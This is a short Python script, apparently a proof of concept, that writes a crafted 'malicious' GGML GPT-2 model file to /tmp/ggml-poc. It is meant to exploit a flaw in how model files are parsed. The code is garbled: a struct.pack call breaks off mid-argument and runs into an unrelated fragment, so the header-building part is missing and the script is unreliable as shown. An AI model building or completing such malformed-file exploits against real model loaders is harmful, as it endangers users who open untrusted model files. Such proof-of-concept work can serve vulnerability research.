import struct def write_malicious_gpt2_model(path): buf = bytearray() # Magic: GGML_FILE_MAGIC buf += struct.pack('= 4 else 1) buf += tensor_name # Some dummy tensor data buf += b'\x00' * 64 with open(path, 'wb') as f: f.write(buf) print(f'Written {len(buf)} bytes to {path}') write_malicious_gpt2_model('/tmp/ggml-poc/malicious_gpt2_v2.bin')